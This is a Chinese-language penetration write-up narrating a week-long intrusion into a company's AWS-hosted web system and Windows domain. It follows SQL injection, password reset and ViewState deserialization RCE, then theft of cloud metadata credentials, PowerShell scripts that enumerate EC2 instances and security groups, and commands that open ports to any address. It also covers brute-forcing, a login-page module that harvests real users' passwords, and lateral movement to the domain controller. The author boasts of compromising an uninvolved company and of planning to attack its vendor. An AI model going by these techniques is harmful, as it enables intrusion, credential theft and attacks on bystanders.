文章重码,技术含量极低,运气含量极高。
在2023年5月份的时候搜集过一次这个目标的资产,无奈没有任何操作空间。
在2023年12月份再次来看这个目标的时候,发现github上有一份源码泄露,时间是六月份之前上传的,只能说是第一次看的时候缘分还不到啊。(渗透结束后github上的源码也被删除了,运气真是好)。
此案例为12月份我个人认为比较有趣的项目,将该案例分享给大家。
此次的渗透就以源码泄露为起点。
找到泄露源码后在公网上找到了对应的web系统,但据观察只是同源码站,而不是目标的源码,从fofa上捞了相同的资产,确定源码有出入,省略有出入的部分,直接从目标的漏洞点开始。
一串操作实际上就是:SQL注入非ldap用户的用户名 --> 任意密码重置 --> 反序列化RCE
对应方法实现如下:
直接SQL注入拼接,闭合括号可进行联合注入。
实现类在ForgotPasswordNew
,看到入口类
这里的Mession.clsParam.GetValue("Active")
就是判断Active参数是否为空,不为空则将数据解密提取其中的用户名和密码,最后传入到忘记密码的逻辑中。
然后调用ForgottenPassword
方法重置用户名密码,实现如下
这里最终调用UMS_****_ResetPass
存储过程执行SQL实现用户密码修改,并且用户名和密码均可控,能够实现任意用户密码修改进入后台。
对应的实现类在Editpage
中,同时继承了CustomPage
类
追溯到CustomPage
,可以看到LoadPageStateFromPersistenceMedium
方法中有着很明显的反序列化逻辑。
获取__CUSTOMVIEWSTATE
参数,解码解压缩之后进行反序列化,那么看看解压缩的实现
在ViewStateCompressor
类,该类提供了两个方法即压缩/解压缩
构造POC直接用CompressViewState
方法就行,回到上面的处理逻辑最后通过LosFormatter
反序列化为任意类型,直接用yso的链子就行。
到这就是上线写shell咔咔一通操作。
因为登录可以使用ldap认证登录,本以为getshell之后便能进内网,没想到还是太乐观了,不过这台机器的确是通一些公网做了限制的资产。
getshell之后对web系统进行了一些信息收集,发现的确是通ldap,但不是直接通,走了一层web代理再进行的ldap连通。
这里能看出来 api_username
及 api_password
大概率不是ldap的用户,仅仅只是这个接口的认证用户而已。
查看数据库,ldap用户基本上都没有密码,是的,基本上。那就代表之前可能没有走ldap认证,ldap认证是后加的,但是这也给我们提供了一些常用的密码及历史密码,那就可以进行密码的爆破。
这里可以看出password是加密的
ok,那目前需要做的事为:
• 收集ldap用户名
• 密码解密
• 爆破
密码解密这部分就不过多赘述。
爆破最后选择的是其他接口,因为有这台机器,一些公网不能访问的资产也可以访问到,其中就包括sso,不过说来也奇怪,这个sso也仅仅只做认证校验,而没有其他任何的功能。
共计271个,还算不错
运气不错,爆破出了一个账号。
这里我就要解释一下,为什么不用之前的api接口,因为在查看代码的时候,发现了该接口需要提供一个正确的用户账号密码,但为了保证爆破不存在误差,所以选择了其他接口。
不过在api的接口中发现了一个很有意思的参数SearchUserInfomation
,照字面意思应该是可以搜索用户信息,如果可以带上通配符或者它是模糊查询,那理论上就可以将全部用户down出来。
构造接口说干就干。
当我们输入字符串aa
时,有一个结果为caav
,那就代表该接口可以模糊查询。
那我们将26个英文字母的所有两个字母的组合跑一遍,即可获取到非一位字母及非纯数字用户的所有用户的信息。
去重之后最终的结果是13075
个用户信息,且百分百准确。
然后用这些用户再去跑一遍弱口令,加上之前的一个也仅仅只获得了5个正确的用户账号密码。
到这里实际上还没进域,且还离得很远。
做了上述的操作之后,转头回来看看机器。
现在可以确定的是该机器非域内用户且是aws云机器,那么就往云上靠靠。
关于云的机器,我平常只关心两个信息点
1. http://169.254.169.254/latest/user-data
2. http://169.254.169.254/latest/meta-data/iam/security-credentials
user-data
在我的理解中是用户数据脚本,当机器开机时会读取用户数据脚本中的命令并执行。
看看目标的user-data
是的,中奖了,可以获取某个administrators组用户的密码,但是前提条件是要有一个accesskey能访问到arn:aws:secretsmanager
接下来看看关于accesskey的操作。
在云机器中
http://169.254.169.254/latest/meta-data/iam/security-credentials
该链接下可能会存在临时token
,而临时token
的权限大小也是由管理员把控的,且临时token
是否可以使用也完全是运气成分。
我这里选择的是AWSPowerShell
# 导入模块
1. Remove-AWSCredentialProfile -ProfileName test
# 导入临时token
2. Set-AWSCredentials -AccessKey AccessKey -SecretKey SecretKey -SessionToken ISessionToken -StoreAs test
# 设置token的区域
3. Initialize-AWSDefaultConfiguration -ProfileName test -Region ap-southeast-1
## 验证token是否有效
4. Get-STSCallerIdentity
这里验证key是有效的,那么就来生成下刚刚user-data
中的密码
完全没问题。
现在的话就是利用密码复用拿下更多的机器,但是我们有token,如果权限足的情况下是可以直接列出机器信息的。
这里附上我修改的ps1代码,原版来自于网上:
$ec2List = Get-EC2Instance -Filter @{'name'='instance-state-name';'values'='running'}
$ec2DetailsList = $ec2List.Instances | ForEach-Object {
$properties = [ordered]@{
Name = ($_ | Select-Object -ExpandProperty tags | Where-Object -Property Key -eq Name).value
InstanceID = $_.InstanceId
PrivateIP = $_.PrivateIpAddress
PublicIp = $_.PublicIpAddress
Platform = $_.Platform
KeyName = $_.KeyName
SecurityGroups = ($_.SecurityGroups.groupname -join " | ")
SubnetId = $_.SubnetId
InstanceType = $_.InstanceType
AmiID = $_.ImageID
ImageName = (Get-EC2Image -ImageId $_.ImageID).Name
}
New-Object -TypeName PSObject -Property $properties
}
$ec2DetailsList | Sort-Object -Property ImageName | Export-Csv -Path C:\Users\ADMIN\Desktop\Ec2DetailList.csv -NoTypeInformation
获取到内网ip之后本来是想要直接横向命令执行的,但探测了端口之后都没有开,那就继续看看网络安全组的策略
这里也附上代码,同样这个也是有权限的要求的:
function Get-EC2SecurityGroupDetails {
$securityGroups = Get-EC2SecurityGroup
foreach ($securityGroup in $securityGroups) {
$securityGroup.IpPermissions | ForEach-Object {
[PSCustomObject]@{
GroupName = $securityGroup.GroupName
GroupId = $securityGroup.GroupId
IpProtocol = $_.IpProtocol
FromPort = $_.FromPort
ToPort = $_.ToPort
Ipv4Ranges = $_.Ipv4Ranges.CidrIp -join ', '
}
}
}
}
Get-EC2SecurityGroupDetails | Sort-Object -Property GroupName | Export-Csv -Path "C:\Users\ADMIN\Desktop\EC2SecurityGroupDetails.csv" -NoTypeInformation
管理员的确做了很严格的限制,那接下来的操作应该就是修改安全组,开放我们想要的端口(图中的3389是不对任何一台机器开放,只对自己开放的)
无奈到了这步之后我的权限就不太够用了,说实话我也没有太多的思路对aws进行操作了。
这里也附上修改策略组的命令:
# 添加
1. Grant-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}
# 撤销
2. Revoke-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}
这里需要特别注意的是,同一个端口在aws可以设置多次,如果你要修改的端口已经做了强限制,例如只允许本机连接,我建议是开放其他可以操作的端口。
非常戏剧性的是,我在fofa捞相同资产的时候,发现了一个界面很相似的别家公司的同套web系统,我打下之后发现是和目标的这个aws连通的,包括 aws 临时token列出来的机器,由此可以猜测该web系统是由供应商统一部署
的,实际上控了别的机器没啥意义,有趣的是这家供应商我在之前也打过,本来觉得没啥用,但白白浪费了我半天时间,等有空了我必把这个供应商给扬了。
到这实在实在没办法了,再整理一下思路。
尽可能多的收集资产
• 利用web钓鱼
• 没到万不得已的地步暂时不打算考虑启用钓鱼的方案。
那就再收集更多的东西,这里我的处理方案是:在登录口记录账号密码,利用收集到的账号密码尝试登陆VPN。
程序封装在dll里,懒,不想改。顺手写了个指定页面过滤指定传参内容的IIS模块,具体就不说了,网上都有。
第二天收集到了将近30个用户,也顺利的搞到了VPN的账号密码
。
被分配到了172.16.*的C段
DNS给的是172.30.*的C段,尝试该DNS服务器是否是DC
boom!!!中奖!!!
目前掌握域的账号密码,已经可以连通DC的389、88端口,那么可以做更多的尝试。
先把完整LDAP的信息导出,用ADExplorer.exe
或其他工具,我这里使用的是pywerview
,这里把命令给出来
# 获取全部用户信息
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP > netuser.target.txt
# 获取admincount=1的用户
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP --admin-count > netuser.target.txt
# 获取全部机器信息
pywerview get-netcomputer -w DOMAIN -u USER -p PWD --dc-ip DCIP --full-data > netuser.target.txt
# 获取其他信息可自行查看,这里只列出部分命令
探测各种域漏洞....不过都不存在什么漏洞,不过这里我要讲一下关于adcs的坑。
因为我的环境是新装的,使用adcs的工具certipy遇到了各种奇奇怪怪的问题,这里我列出来一下,各位有遇到的可参考。
首先遇到的问题是
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer
网上查了各种文章,最后的解决方案是:
# vim /etc/ssl/openssl.cnf
# openssl_conf = default_conf
# 在最后添加
[ default_conf ]
ssl_conf = ssl_sect
[ssl_sect]
system_default = ssl_default_sect
[ssl_default_sect]
MinProtocol = TLSv1
CipherString = DEFAULT:@SECLEVEL=1
# 参考文章 https://takraw-s.medium.com/fix-errors-socket-ssl-wrapping-error-errno-104-connection-reset-by-peer-9c63c551cd7
遇到的第二个问题是
[-] Got error: unsupported hash type MD4
解决方案是:
pip3 install pycryptodome --break-system-packages
好不容易跑起来,又遇到了一个问题
AttributeError: module 'enum' has no attribute '_decompose'
这里的解决方案是:
将_decompose函数添加回/usr/lib/python3.11/enum.py中(这里路径可能不相同,我使用的是kali)
def _decompose(flag, value):
"""
Extract all members from the value.
"""
# _decompose is only called if the value is not named
not_covered = value
negative = value < 0
members = []
for member in flag:
member_value = member.value
if member_value and member_value & value == member_value:
members.append(member)
not_covered &= ~member_value
if not negative:
tmp = not_covered
while tmp:
flag_value = 2 ** _high_bit(tmp)
if flag_value in flag._value2member_map_:
members.append(flag._value2member_map_[flag_value])
not_covered &= ~flag_value
tmp &= ~flag_value
if not members and value in flag._value2member_map_:
members.append(flag._value2member_map_[value])
members.sort(key=lambda m: m._value_, reverse=True)
if len(members) > 1 and members[0].value == value:
# we have the breakdown, don't need the value member itself
members.pop(0)
return members, not_covered
#参考文章:https://github.com/ly4k/Certipy/issues/108
不过这个问题只会在python3.11上遇到。
不存在域漏洞,那么怎么办呢?继续看机器。
但是经过测试,VPN只能通同网段DC,不同其他网段的DC且不通其他任何一台机器,应该是做了限制。到这又陷入了僵局。
只能继续看看别的资产,记录web的账号密码,万一能记录到域管的密码呢?也说不准。
是的,这个标题,预示着web系统记录到了域管的账号密码。
使用impacket包
的tstool
列出机器进程(kali自带的impacket没有这个脚本,自己自行安装):
python3 tstool.py domain/user:pass@host tasklist
Trellix
,麦咖啡与火眼的新产品,平民产品,没有火眼那么牛逼,那就可以直接命令执行。这里使用的是wmiexec-Pro
,直接探测DC是否出网(如果不是气急败坏一般不建议这样做)
运气不是一般好,DC也出网....
到这基本上整个渗透就结束啦,虽然看着篇幅很短不过的确做了非常多的尝试,下面还有一些VPN环境下渗透的小Tips...
目标VPN产品Global Protect
在linux连接上有个坑,具体原因不知,不过最后是找到了解决方案:
sudo openconnect --protocol=gp url --os=win
其实有了VPN权限之后渗透会轻松很多,但也会遇到和我同样的情况,ACL的限制导致只能通DC的一些端口,但这是VPN本身的限制,但是如果我们自行添加网段呢?
上面重码,导致看不到DC IP的C段,DC IP段为:172.30.81.1/24。
着重关注LDAP信息中的MIS、IT等机器,尽可能收集多的IP段,以这个目标为例,我们收集到了172.30.80.1/24为目标的MIS、IT常用段,添加网段:
# windows
route add 172.30.80.0 MASK 255.255.255.0 172.30.81.32
route delete 172.30.80.0 MASK 255.255.255.0 172.30.81.32
# linux
route add -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0
route delete -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0
添加了之后会发生什么呢?具体请看图:
是的,能扫描更多的信息了。
如果web系统没记录到密码呢?下步的操作应该就是图中的PMP系统了,探测了一下的确是存在漏洞的。
不过一切都结束了,这个项目到目前耗费了将近一周的时间,接下来就到了资产分析以及找我们想要的东西的环节了,这里就不赘述了。